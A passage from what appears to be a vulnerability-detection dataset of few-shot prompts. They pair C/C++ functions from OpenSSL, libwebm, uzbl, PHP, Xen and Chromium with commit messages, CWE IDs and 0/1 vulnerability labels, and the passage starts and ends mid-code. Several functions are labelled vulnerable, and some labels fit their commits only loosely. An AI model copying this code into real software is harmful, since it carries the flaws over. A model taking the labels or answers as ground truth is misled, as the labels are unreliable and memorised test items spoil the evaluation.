|| (size_str = strlen(s->tlsext_hostname)) > (unsigned long)lenmax)
return NULL;
/* extension type and length */
s2n(TLSEXT_TYPE_server_name,ret);
s2n(size_str+5,ret);
/* length of servername list */
s2n(size_str+3,ret);
/* hostname type, length and hostname */
*(ret++) = (unsigned char) TLSEXT_NAMETYPE_host_name;
s2n(size_str,ret);
memcpy(ret, s->tlsext_hostname, size_str);
ret+=size_str;
}
/* Add RI if renegotiating */
if (s->renegotiate)
{
int el;
if(!ssl_add_clienthello_renegotiate_ext(s, 0, &el, 0))
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
if((limit - ret - 4 - el) < 0) return NULL;
s2n(TLSEXT_TYPE_renegotiate,ret);
s2n(el,ret);
if(!ssl_add_clienthello_renegotiate_ext(s, ret, &el, el))
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
ret += el;
}
#ifndef OPENSSL_NO_SRP
/* Add SRP username if there is one */
if (s->srp_ctx.login != NULL)
{ /* Add TLS extension SRP username to the Client Hello message */
int login_len = strlen(s->srp_ctx.login);
if (login_len > 255 || login_len == 0)
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
/* check for enough space.
4 for the srp type type and entension length
1 for the srp user identity
+ srp user identity length
*/
if ((limit - ret - 5 - login_len) < 0) return NULL;
/* fill in the extension */
s2n(TLSEXT_TYPE_srp,ret);
s2n(login_len+1,ret);
(*ret++) = (unsigned char) login_len;
memcpy(ret, s->srp_ctx.login, login_len);
ret+=login_len;
}
#endif
#ifndef OPENSSL_NO_EC
if (s->tlsext_ecpointformatlist != NULL)
{
/* Add TLS extension ECPointFormats to the ClientHello message */
long lenmax;
if ((lenmax = limit - ret - 5) < 0) return NULL;
if (s->tlsext_ecpointformatlist_length > (unsigned long)lenmax) return NULL;
if (s->tlsext_ecpointformatlist_length > 255)
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
s2n(TLSEXT_TYPE_ec_point_formats,ret);
s2n(s->tlsext_ecpointformatlist_length + 1,ret);
*(ret++) = (unsigned char) s->tlsext_ecpointformatlist_length;
memcpy(ret, s->tlsext_ecpointformatlist, s->tlsext_ecpointformatlist_length);
ret+=s->tlsext_ecpointformatlist_length;
}
if (s->tlsext_ellipticcurvelist != NULL)
{
/* Add TLS extension EllipticCurves to the ClientHello message */
long lenmax;
if ((lenmax = limit - ret - 6) < 0) return NULL;
if (s->tlsext_ellipticcurvelist_length > (unsigned long)lenmax) return NULL;
if (s->tlsext_ellipticcurvelist_length > 65532)
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
s2n(TLSEXT_TYPE_elliptic_curves,ret);
s2n(s->tlsext_ellipticcurvelist_length + 2, ret);
/* NB: draft-ietf-tls-ecc-12.txt uses a one-byte prefix for
* elliptic_curve_list, but the examples use two bytes.
* http://www1.ietf.org/mail-archive/web/tls/current/msg00538.html
* resolves this to two bytes.
*/
s2n(s->tlsext_ellipticcurvelist_length, ret);
memcpy(ret, s->tlsext_ellipticcurvelist, s->tlsext_ellipticcurvelist_length);
ret+=s->tlsext_ellipticcurvelist_length;
}
#endif /* OPENSSL_NO_EC */
if (!(SSL_get_options(s) & SSL_OP_NO_TICKET))
{
int ticklen;
if (!s->new_session && s->session && s->session->tlsext_tick)
ticklen = s->session->tlsext_ticklen;
else if (s->session && s->tlsext_session_ticket &&
s->tlsext_session_ticket->data)
{
ticklen = s->tlsext_session_ticket->length;
s->session->tlsext_tick = OPENSSL_malloc(ticklen);
if (!s->session->tlsext_tick)
return NULL;
memcpy(s->session->tlsext_tick,
s->tlsext_session_ticket->data,
ticklen);
s->session->tlsext_ticklen = ticklen;
}
else
ticklen = 0;
if (ticklen == 0 && s->tlsext_session_ticket &&
s->tlsext_session_ticket->data == NULL)
goto skip_ext;
/* Check for enough room 2 for extension type, 2 for len
* rest for ticket
*/
if ((long)(limit - ret - 4 - ticklen) < 0) return NULL;
s2n(TLSEXT_TYPE_session_ticket,ret);
s2n(ticklen,ret);
if (ticklen)
{
memcpy(ret, s->session->tlsext_tick, ticklen);
ret += ticklen;
}
}
skip_ext:
if (TLS1_get_client_version(s) >= TLS1_2_VERSION)
{
if ((size_t)(limit - ret) < sizeof(tls12_sigalgs) + 6)
return NULL;
s2n(TLSEXT_TYPE_signature_algorithms,ret);
s2n(sizeof(tls12_sigalgs) + 2, ret);
s2n(sizeof(tls12_sigalgs), ret);
memcpy(ret, tls12_sigalgs, sizeof(tls12_sigalgs));
ret += sizeof(tls12_sigalgs);
}
#ifdef TLSEXT_TYPE_opaque_prf_input
if (s->s3->client_opaque_prf_input != NULL &&
s->version != DTLS1_VERSION)
{
size_t col = s->s3->client_opaque_prf_input_len;
if ((long)(limit - ret - 6 - col < 0))
return NULL;
if (col > 0xFFFD) /* can't happen */
return NULL;
s2n(TLSEXT_TYPE_opaque_prf_input, ret);
s2n(col + 2, ret);
s2n(col, ret);
memcpy(ret, s->s3->client_opaque_prf_input, col);
ret += col;
}
#endif
if (s->tlsext_status_type == TLSEXT_STATUSTYPE_ocsp &&
s->version != DTLS1_VERSION)
{
int i;
long extlen, idlen, itmp;
OCSP_RESPID *id;
idlen = 0;
for (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++)
{
id = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i);
itmp = i2d_OCSP_RESPID(id, NULL);
if (itmp <= 0)
return NULL;
idlen += itmp + 2;
}
if (s->tlsext_ocsp_exts)
{
extlen = i2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, NULL);
if (extlen < 0)
return NULL;
}
else
extlen = 0;
if ((long)(limit - ret - 7 - extlen - idlen) < 0) return NULL;
s2n(TLSEXT_TYPE_status_request, ret);
if (extlen + idlen > 0xFFF0)
return NULL;
s2n(extlen + idlen + 5, ret);
*(ret++) = TLSEXT_STATUSTYPE_ocsp;
s2n(idlen, ret);
for (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++)
{
/* save position of id len */
unsigned char *q = ret;
id = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i);
/* skip over id len */
ret += 2;
itmp = i2d_OCSP_RESPID(id, &ret);
/* write id len */
s2n(itmp, q);
}
s2n(extlen, ret);
if (extlen > 0)
i2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, &ret);
}
#ifndef OPENSSL_NO_HEARTBEATS
/* Add Heartbeat extension */
if ((limit - ret - 4 - 1) < 0)
return NULL;
s2n(TLSEXT_TYPE_heartbeat,ret);
s2n(1,ret);
/* Set mode:
* 1: peer may send requests
* 2: peer not allowed to send requests
*/
if (s->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_RECV_REQUESTS)
*(ret++) = SSL_TLSEXT_HB_DONT_SEND_REQUESTS;
else
*(ret++) = SSL_TLSEXT_HB_ENABLED;
#endif
#ifndef OPENSSL_NO_NEXTPROTONEG
if (s->ctx->next_proto_select_cb && !s->s3->tmp.finish_md_len)
{
/* The client advertises an emtpy extension to indicate its
* support for Next Protocol Negotiation */
if (limit - ret - 4 < 0)
return NULL;
s2n(TLSEXT_TYPE_next_proto_neg,ret);
s2n(0,ret);
}
#endif
#ifndef OPENSSL_NO_SRTP
if(SSL_get_srtp_profiles(s))
{
int el;
ssl_add_clienthello_use_srtp_ext(s, 0, &el, 0);
if((limit - ret - 4 - el) < 0) return NULL;
s2n(TLSEXT_TYPE_use_srtp,ret);
s2n(el,ret);
if(ssl_add_clienthello_use_srtp_ext(s, ret, &el, el))
{
SSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);
return NULL;
}
ret += el;
}
#endif
/* Add padding to workaround bugs in F5 terminators.
* See https://tools.ietf.org/html/draft-agl-tls-padding-03
*
* NB: because this code works out the length of all existing
* extensions it MUST always appear last.
*/
if (s->options & SSL_OP_TLSEXT_PADDING)
{
int hlen = ret - (unsigned char *)s->init_buf->data;
/* The code in s23_clnt.c to build ClientHello messages
* includes the 5-byte record header in the buffer, while
* the code in s3_clnt.c does not.
*/
if (s->state == SSL23_ST_CW_CLNT_HELLO_A)
hlen -= 5;
if (hlen > 0xff && hlen < 0x200)
{
hlen = 0x200 - hlen;
if (hlen >= 4)
hlen -= 4;
else
hlen = 0;
s2n(TLSEXT_TYPE_padding, ret);
s2n(hlen, ret);
memset(ret, 0, hlen);
ret += hlen;
}
}
if ((extdatalen = ret-orig-2)== 0)
return orig;
s2n(extdatalen, orig);
return ret;
}
Commit Message:
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: bool ExtensionResourceRequestPolicy::CanRequestResource(
const GURL& resource_url,
const GURL& frame_url,
const ExtensionSet* loaded_extensions) {
CHECK(resource_url.SchemeIs(chrome::kExtensionScheme));
const Extension* extension =
loaded_extensions->GetExtensionOrAppByURL(ExtensionURLInfo(resource_url));
if (!extension) {
return true;
}
std::string resource_root_relative_path =
resource_url.path().empty() ? "" : resource_url.path().substr(1);
if (extension->is_hosted_app() &&
!extension->icons().ContainsPath(resource_root_relative_path)) {
LOG(ERROR) << "Denying load of " << resource_url.spec() << " from "
<< "hosted app.";
return false;
}
if (!CommandLine::ForCurrentProcess()->HasSwitch(
switches::kDisableExtensionsResourceWhitelist) &&
!frame_url.is_empty() &&
!frame_url.SchemeIs(chrome::kExtensionScheme) &&
!extension->IsResourceWebAccessible(resource_url.path())) {
LOG(ERROR) << "Denying load of " << resource_url.spec() << " which "
<< "is not a web accessible resource.";
return false;
}
return true;
}
Commit Message: Do not require DevTools extension resources to be white-listed in manifest.
Currently, resources used by DevTools extensions need to be white-listed as web_accessible_resources in manifest. This is quite inconvenitent and appears to be an overkill, given the fact that DevTools front-end is
(a) trusted and
(b) picky on the frames it loads.
This change adds resources that belong to DevTools extensions and are being loaded into a DevTools front-end page to the list of exceptions from web_accessible_resources check.
BUG=none
TEST=DevToolsExtensionTest.*
Review URL: https://chromiumcodereview.appspot.com/9663076
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126378 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Target: 1
Example 2:
Code: int closing_count() const { return closing_count_; }
Commit Message: Implement a bubble that appears at the top of the screen when a tab enters
fullscreen mode via webkitRequestFullScreen(), telling the user how to exit
fullscreen.
This is implemented as an NSView rather than an NSWindow because the floating
chrome that appears in presentation mode should overlap the bubble.
Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac:
the mode in which the UI is hidden, accessible by moving the cursor to the top
of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode.
On Lion, however, fullscreen mode does not imply presentation mode: in
non-presentation fullscreen mode, the chrome is permanently shown. It is
possible to switch between presentation mode and fullscreen mode using the
presentation mode UI control.
When a tab initiates fullscreen mode on Lion, we enter presentation mode if not
in presentation mode already. When the user exits fullscreen mode using Chrome
UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we
return the user to the mode they were in before the tab entered fullscreen.
BUG=14471
TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen.
Need to test the Lion logic somehow, with no Lion trybots.
BUG=96883
Original review http://codereview.chromium.org/7890056/
TBR=thakis
Review URL: http://codereview.chromium.org/7920024
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: long Block::Parse(const Cluster* pCluster) {
if (pCluster == NULL)
return -1;
if (pCluster->m_pSegment == NULL)
return -1;
assert(m_start >= 0);
assert(m_size >= 0);
assert(m_track <= 0);
assert(m_frames == NULL);
assert(m_frame_count <= 0);
long long pos = m_start;
const long long stop = m_start + m_size;
long len;
IMkvReader* const pReader = pCluster->m_pSegment->m_pReader;
m_track = ReadUInt(pReader, pos, len);
if (m_track <= 0)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; // consume track number
if ((stop - pos) < 2)
return E_FILE_FORMAT_INVALID;
long status;
long long value;
status = UnserializeInt(pReader, pos, 2, value);
if (status)
return E_FILE_FORMAT_INVALID;
if (value < SHRT_MIN)
return E_FILE_FORMAT_INVALID;
if (value > SHRT_MAX)
return E_FILE_FORMAT_INVALID;
m_timecode = static_cast<short>(value);
pos += 2;
if ((stop - pos) <= 0)
return E_FILE_FORMAT_INVALID;
status = pReader->Read(pos, 1, &m_flags);
if (status)
return E_FILE_FORMAT_INVALID;
const int lacing = int(m_flags & 0x06) >> 1;
++pos; // consume flags byte
if (lacing == 0) { // no lacing
if (pos > stop)
return E_FILE_FORMAT_INVALID;
m_frame_count = 1;
m_frames = new Frame[m_frame_count];
Frame& f = m_frames[0];
f.pos = pos;
const long long frame_size = stop - pos;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
f.len = static_cast<long>(frame_size);
return 0; // success
}
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
unsigned char biased_count;
status = pReader->Read(pos, 1, &biased_count);
if (status)
return E_FILE_FORMAT_INVALID;
++pos; // consume frame count
assert(pos <= stop);
m_frame_count = int(biased_count) + 1;
m_frames = new Frame[m_frame_count];
assert(m_frames);
if (lacing == 1) { // Xiph
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
long size = 0;
int frame_count = m_frame_count;
while (frame_count > 1) {
long frame_size = 0;
for (;;) {
unsigned char val;
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
status = pReader->Read(pos, 1, &val);
if (status)
return E_FILE_FORMAT_INVALID;
++pos; // consume xiph size byte
frame_size += val;
if (val < 255)
break;
}
Frame& f = *pf++;
assert(pf < pf_end);
f.pos = 0; // patch later
f.len = frame_size;
size += frame_size; // contribution of this frame
--frame_count;
}
assert(pf < pf_end);
assert(pos <= stop);
{
Frame& f = *pf++;
if (pf != pf_end)
return E_FILE_FORMAT_INVALID;
f.pos = 0; // patch later
const long long total_size = stop - pos;
if (total_size < size)
return E_FILE_FORMAT_INVALID;
const long long frame_size = total_size - size;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
f.len = static_cast<long>(frame_size);
}
pf = m_frames;
while (pf != pf_end) {
Frame& f = *pf++;
assert((pos + f.len) <= stop);
f.pos = pos;
pos += f.len;
}
assert(pos == stop);
} else if (lacing == 2) { // fixed-size lacing
const long long total_size = stop - pos;
if ((total_size % m_frame_count) != 0)
return E_FILE_FORMAT_INVALID;
const long long frame_size = total_size / m_frame_count;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
while (pf != pf_end) {
assert((pos + frame_size) <= stop);
Frame& f = *pf++;
f.pos = pos;
f.len = static_cast<long>(frame_size);
pos += frame_size;
}
assert(pos == stop);
} else {
assert(lacing == 3); // EBML lacing
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
long size = 0;
int frame_count = m_frame_count;
long long frame_size = ReadUInt(pReader, pos, len);
if (frame_size < 0)
return E_FILE_FORMAT_INVALID;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; // consume length of size of first frame
if ((pos + frame_size) > stop)
return E_FILE_FORMAT_INVALID;
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
{
Frame& curr = *pf;
curr.pos = 0; // patch later
curr.len = static_cast<long>(frame_size);
size += curr.len; // contribution of this frame
}
--frame_count;
while (frame_count > 1) {
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
const Frame& prev = *pf++;
assert(prev.len == frame_size);
if (prev.len != frame_size)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
Frame& curr = *pf;
curr.pos = 0; // patch later
const long long delta_size_ = ReadUInt(pReader, pos, len);
if (delta_size_ < 0)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; // consume length of (delta) size
assert(pos <= stop);
const int exp = 7 * len - 1;
const long long bias = (1LL << exp) - 1LL;
const long long delta_size = delta_size_ - bias;
frame_size += delta_size;
if (frame_size < 0)
return E_FILE_FORMAT_INVALID;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
curr.len = static_cast<long>(frame_size);
size += curr.len; // contribution of this frame
--frame_count;
}
{
assert(pos <= stop);
assert(pf < pf_end);
const Frame& prev = *pf++;
assert(prev.len == frame_size);
if (prev.len != frame_size)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
Frame& curr = *pf++;
assert(pf == pf_end);
curr.pos = 0; // patch later
const long long total_size = stop - pos;
if (total_size < size)
return E_FILE_FORMAT_INVALID;
frame_size = total_size - size;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
curr.len = static_cast<long>(frame_size);
}
pf = m_frames;
while (pf != pf_end) {
Frame& f = *pf++;
assert((pos + f.len) <= stop);
f.pos = pos;
pos += f.len;
}
assert(pos == stop);
}
return 0; // success
}
Commit Message: external/libvpx/libwebm: Update snapshot
Update libwebm snapshot. This update contains security fixes from upstream.
Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b
BUG=23167726
Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207
(cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a)
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void jslTokenAsString(int token, char *str, size_t len) {
if (token>32 && token<128) {
assert(len>=4);
str[0] = '\'';
str[1] = (char)token;
str[2] = '\'';
str[3] = 0;
return;
}
switch (token) {
case LEX_EOF : strncpy(str, "EOF", len); return;
case LEX_ID : strncpy(str, "ID", len); return;
case LEX_INT : strncpy(str, "INT", len); return;
case LEX_FLOAT : strncpy(str, "FLOAT", len); return;
case LEX_STR : strncpy(str, "STRING", len); return;
case LEX_UNFINISHED_STR : strncpy(str, "UNFINISHED STRING", len); return;
case LEX_TEMPLATE_LITERAL : strncpy(str, "TEMPLATE LITERAL", len); return;
case LEX_UNFINISHED_TEMPLATE_LITERAL : strncpy(str, "UNFINISHED TEMPLATE LITERAL", len); return;
case LEX_REGEX : strncpy(str, "REGEX", len); return;
case LEX_UNFINISHED_REGEX : strncpy(str, "UNFINISHED REGEX", len); return;
case LEX_UNFINISHED_COMMENT : strncpy(str, "UNFINISHED COMMENT", len); return;
}
if (token>=_LEX_OPERATOR_START && token<_LEX_R_LIST_END) {
const char tokenNames[] =
/* LEX_EQUAL : */ "==\0"
/* LEX_TYPEEQUAL : */ "===\0"
/* LEX_NEQUAL : */ "!=\0"
/* LEX_NTYPEEQUAL : */ "!==\0"
/* LEX_LEQUAL : */ "<=\0"
/* LEX_LSHIFT : */ "<<\0"
/* LEX_LSHIFTEQUAL : */ "<<=\0"
/* LEX_GEQUAL : */ ">=\0"
/* LEX_RSHIFT : */ ">>\0"
/* LEX_RSHIFTUNSIGNED */ ">>>\0"
/* LEX_RSHIFTEQUAL : */ ">>=\0"
/* LEX_RSHIFTUNSIGNEDEQUAL */ ">>>=\0"
/* LEX_PLUSEQUAL : */ "+=\0"
/* LEX_MINUSEQUAL : */ "-=\0"
/* LEX_PLUSPLUS : */ "++\0"
/* LEX_MINUSMINUS */ "--\0"
/* LEX_MULEQUAL : */ "*=\0"
/* LEX_DIVEQUAL : */ "/=\0"
/* LEX_MODEQUAL : */ "%=\0"
/* LEX_ANDEQUAL : */ "&=\0"
/* LEX_ANDAND : */ "&&\0"
/* LEX_OREQUAL : */ "|=\0"
/* LEX_OROR : */ "||\0"
/* LEX_XOREQUAL : */ "^=\0"
/* LEX_ARROW_FUNCTION */ "=>\0"
/*LEX_R_IF : */ "if\0"
/*LEX_R_ELSE : */ "else\0"
/*LEX_R_DO : */ "do\0"
/*LEX_R_WHILE : */ "while\0"
/*LEX_R_FOR : */ "for\0"
/*LEX_R_BREAK : */ "return\0"
/*LEX_R_CONTINUE */ "continue\0"
/*LEX_R_FUNCTION */ "function\0"
/*LEX_R_RETURN */ "return\0"
/*LEX_R_VAR : */ "var\0"
/*LEX_R_LET : */ "let\0"
/*LEX_R_CONST : */ "const\0"
/*LEX_R_THIS : */ "this\0"
/*LEX_R_THROW : */ "throw\0"
/*LEX_R_TRY : */ "try\0"
/*LEX_R_CATCH : */ "catch\0"
/*LEX_R_FINALLY : */ "finally\0"
/*LEX_R_TRUE : */ "true\0"
/*LEX_R_FALSE : */ "false\0"
/*LEX_R_NULL : */ "null\0"
/*LEX_R_UNDEFINED */ "undefined\0"
/*LEX_R_NEW : */ "new\0"
/*LEX_R_IN : */ "in\0"
/*LEX_R_INSTANCEOF */ "instanceof\0"
/*LEX_R_SWITCH */ "switch\0"
/*LEX_R_CASE */ "case\0"
/*LEX_R_DEFAULT */ "default\0"
/*LEX_R_DELETE */ "delete\0"
/*LEX_R_TYPEOF : */ "typeof\0"
/*LEX_R_VOID : */ "void\0"
/*LEX_R_DEBUGGER : */ "debugger\0"
/*LEX_R_CLASS : */ "class\0"
/*LEX_R_EXTENDS : */ "extends\0"
/*LEX_R_SUPER : */ "super\0"
/*LEX_R_STATIC : */ "static\0"
;
unsigned int p = 0;
int n = token-_LEX_OPERATOR_START;
while (n>0 && p<sizeof(tokenNames)) {
while (tokenNames[p] && p<sizeof(tokenNames)) p++;
p++; // skip the zero
n--; // next token
}
assert(n==0);
strncpy(str, &tokenNames[p], len);
return;
}
assert(len>=10);
strncpy(str, "?[",len);
itostr(token, &str[2], 10);
strncat(str, "]",len);
}
Commit Message: Fix strncat/cpy bounding issues (fix #1425)
CWE ID: CWE-119
Target: 1
Example 2:
Code: void Pack<WebGLImageConversion::kDataFormatRGBA32F,
WebGLImageConversion::kAlphaDoUnmultiply,
float,
float>(const float* source,
float* destination,
unsigned pixels_per_row) {
for (unsigned i = 0; i < pixels_per_row; ++i) {
float scale_factor = source[3] ? 1.0f / source[3] : 1.0f;
destination[0] = source[0] * scale_factor;
destination[1] = source[1] * scale_factor;
destination[2] = source[2] * scale_factor;
destination[3] = source[3];
source += 4;
destination += 4;
}
}
Commit Message: Implement 2D texture uploading from client array with FLIP_Y or PREMULTIPLY_ALPHA.
BUG=774174
TEST=https://github.com/KhronosGroup/WebGL/pull/2555
[email protected]
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I4f4e7636314502451104730501a5048a5d7b9f3f
Reviewed-on: https://chromium-review.googlesource.com/808665
Commit-Queue: Zhenyao Mo <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#522003}
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: init_fifo(gchar *dir) { /* return dir or, on error, free dir and return NULL */
if (uzbl.comm.fifo_path) { /* get rid of the old fifo if one exists */
if (unlink(uzbl.comm.fifo_path) == -1)
g_warning ("Fifo: Can't unlink old fifo at %s\n", uzbl.comm.fifo_path);
g_free(uzbl.comm.fifo_path);
uzbl.comm.fifo_path = NULL;
}
GIOChannel *chan = NULL;
GError *error = NULL;
gchar *path = build_stream_name(FIFO, dir);
if (!file_exists(path)) {
if (mkfifo (path, 0666) == 0) {
chan = g_io_channel_new_file(path, "r+", &error);
if (chan) {
if (g_io_add_watch(chan, G_IO_IN|G_IO_HUP, (GIOFunc) control_fifo, NULL)) {
if (uzbl.state.verbose)
printf ("init_fifo: created successfully as %s\n", path);
send_event(FIFO_SET, path, NULL);
uzbl.comm.fifo_path = path;
return dir;
} else g_warning ("init_fifo: could not add watch on %s\n", path);
} else g_warning ("init_fifo: can't open: %s\n", error->message);
} else g_warning ("init_fifo: can't create %s: %s\n", path, strerror(errno));
} else g_warning ("init_fifo: can't create %s: file exists\n", path);
/* if we got this far, there was an error; cleanup */
if (error) g_error_free (error);
g_free(dir);
g_free(path);
return NULL;
}
Commit Message: disable Uzbl javascript object because of security problem.
CWE ID: CWE-264
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static inline void write_s3row_data(
const entity_stage3_row *r,
unsigned orig_cp,
enum entity_charset charset,
zval *arr)
{
char key[9] = ""; /* two unicode code points in UTF-8 */
char entity[LONGEST_ENTITY_LENGTH + 2] = {'&'};
size_t written_k1;
written_k1 = write_octet_sequence(key, charset, orig_cp);
if (!r->ambiguous) {
size_t l = r->data.ent.entity_len;
memcpy(&entity[1], r->data.ent.entity, l);
entity[l + 1] = ';';
add_assoc_stringl_ex(arr, key, written_k1 + 1, entity, l + 2, 1);
} else {
unsigned i,
num_entries;
const entity_multicodepoint_row *mcpr = r->data.multicodepoint_table;
if (mcpr[0].leading_entry.default_entity != NULL) {
size_t l = mcpr[0].leading_entry.default_entity_len;
memcpy(&entity[1], mcpr[0].leading_entry.default_entity, l);
entity[l + 1] = ';';
add_assoc_stringl_ex(arr, key, written_k1 + 1, entity, l + 2, 1);
}
num_entries = mcpr[0].leading_entry.size;
for (i = 1; i <= num_entries; i++) {
size_t l,
written_k2;
unsigned uni_cp,
spe_cp;
uni_cp = mcpr[i].normal_entry.second_cp;
l = mcpr[i].normal_entry.entity_len;
if (!CHARSET_UNICODE_COMPAT(charset)) {
if (map_from_unicode(uni_cp, charset, &spe_cp) == FAILURE)
continue; /* non representable in this charset */
} else {
spe_cp = uni_cp;
}
written_k2 = write_octet_sequence(&key[written_k1], charset, spe_cp);
memcpy(&entity[1], mcpr[i].normal_entry.entity, l);
entity[l + 1] = ';';
entity[l + 1] = '\0';
add_assoc_stringl_ex(arr, key, written_k1 + written_k2 + 1, entity, l + 1, 1);
}
}
}
Commit Message: Fix bug #72135 - don't create strings with lengths outside int range
CWE ID: CWE-190
Target: 1
Example 2:
Code: static void put_persistent_gnt(struct xen_blkif *blkif,
struct persistent_gnt *persistent_gnt)
{
if(!test_bit(PERSISTENT_GNT_ACTIVE, persistent_gnt->flags))
pr_alert_ratelimited(DRV_PFX " freeing a grant already unused");
set_bit(PERSISTENT_GNT_WAS_ACTIVE, persistent_gnt->flags);
clear_bit(PERSISTENT_GNT_ACTIVE, persistent_gnt->flags);
atomic_dec(&blkif->persistent_gnt_in_use);
}
Commit Message: xen/blkback: Check device permissions before allowing OP_DISCARD
We need to make sure that the device is not RO or that
the request is not past the number of sectors we want to
issue the DISCARD operation for.
This fixes CVE-2013-2140.
Cc: [email protected]
Acked-by: Jan Beulich <[email protected]>
Acked-by: Ian Campbell <[email protected]>
[v1: Made it pr_warn instead of pr_debug]
Signed-off-by: Konrad Rzeszutek Wilk <[email protected]>
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void GLES2DecoderImpl::GetTexParameterImpl(
GLenum target, GLenum pname, GLfloat* fparams, GLint* iparams,
const char* function_name) {
TextureRef* texture_ref = texture_manager()->GetTextureInfoForTarget(
&state_, target);
if (!texture_ref) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, function_name, "unknown texture for target");
return;
}
Texture* texture = texture_ref->texture();
switch (pname) {
case GL_TEXTURE_MAX_ANISOTROPY_EXT:
if (workarounds().init_texture_max_anisotropy) {
texture->InitTextureMaxAnisotropyIfNeeded(target);
}
break;
case GL_TEXTURE_IMMUTABLE_LEVELS:
if (gl_version_info().IsLowerThanGL(4, 2)) {
GLint levels = texture->GetImmutableLevels();
if (fparams) {
fparams[0] = static_cast<GLfloat>(levels);
} else {
iparams[0] = levels;
}
return;
}
break;
if (workarounds().use_shadowed_tex_level_params) {
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->base_level());
} else {
iparams[0] = texture->base_level();
}
return;
}
break;
case GL_TEXTURE_MAX_LEVEL:
if (workarounds().use_shadowed_tex_level_params) {
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->max_level());
} else {
iparams[0] = texture->max_level();
}
return;
}
break;
case GL_TEXTURE_SWIZZLE_R:
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->swizzle_r());
} else {
iparams[0] = texture->swizzle_r();
}
return;
case GL_TEXTURE_SWIZZLE_G:
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->swizzle_g());
} else {
iparams[0] = texture->swizzle_g();
}
return;
case GL_TEXTURE_SWIZZLE_B:
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->swizzle_b());
} else {
iparams[0] = texture->swizzle_b();
}
return;
case GL_TEXTURE_SWIZZLE_A:
if (fparams) {
fparams[0] = static_cast<GLfloat>(texture->swizzle_a());
} else {
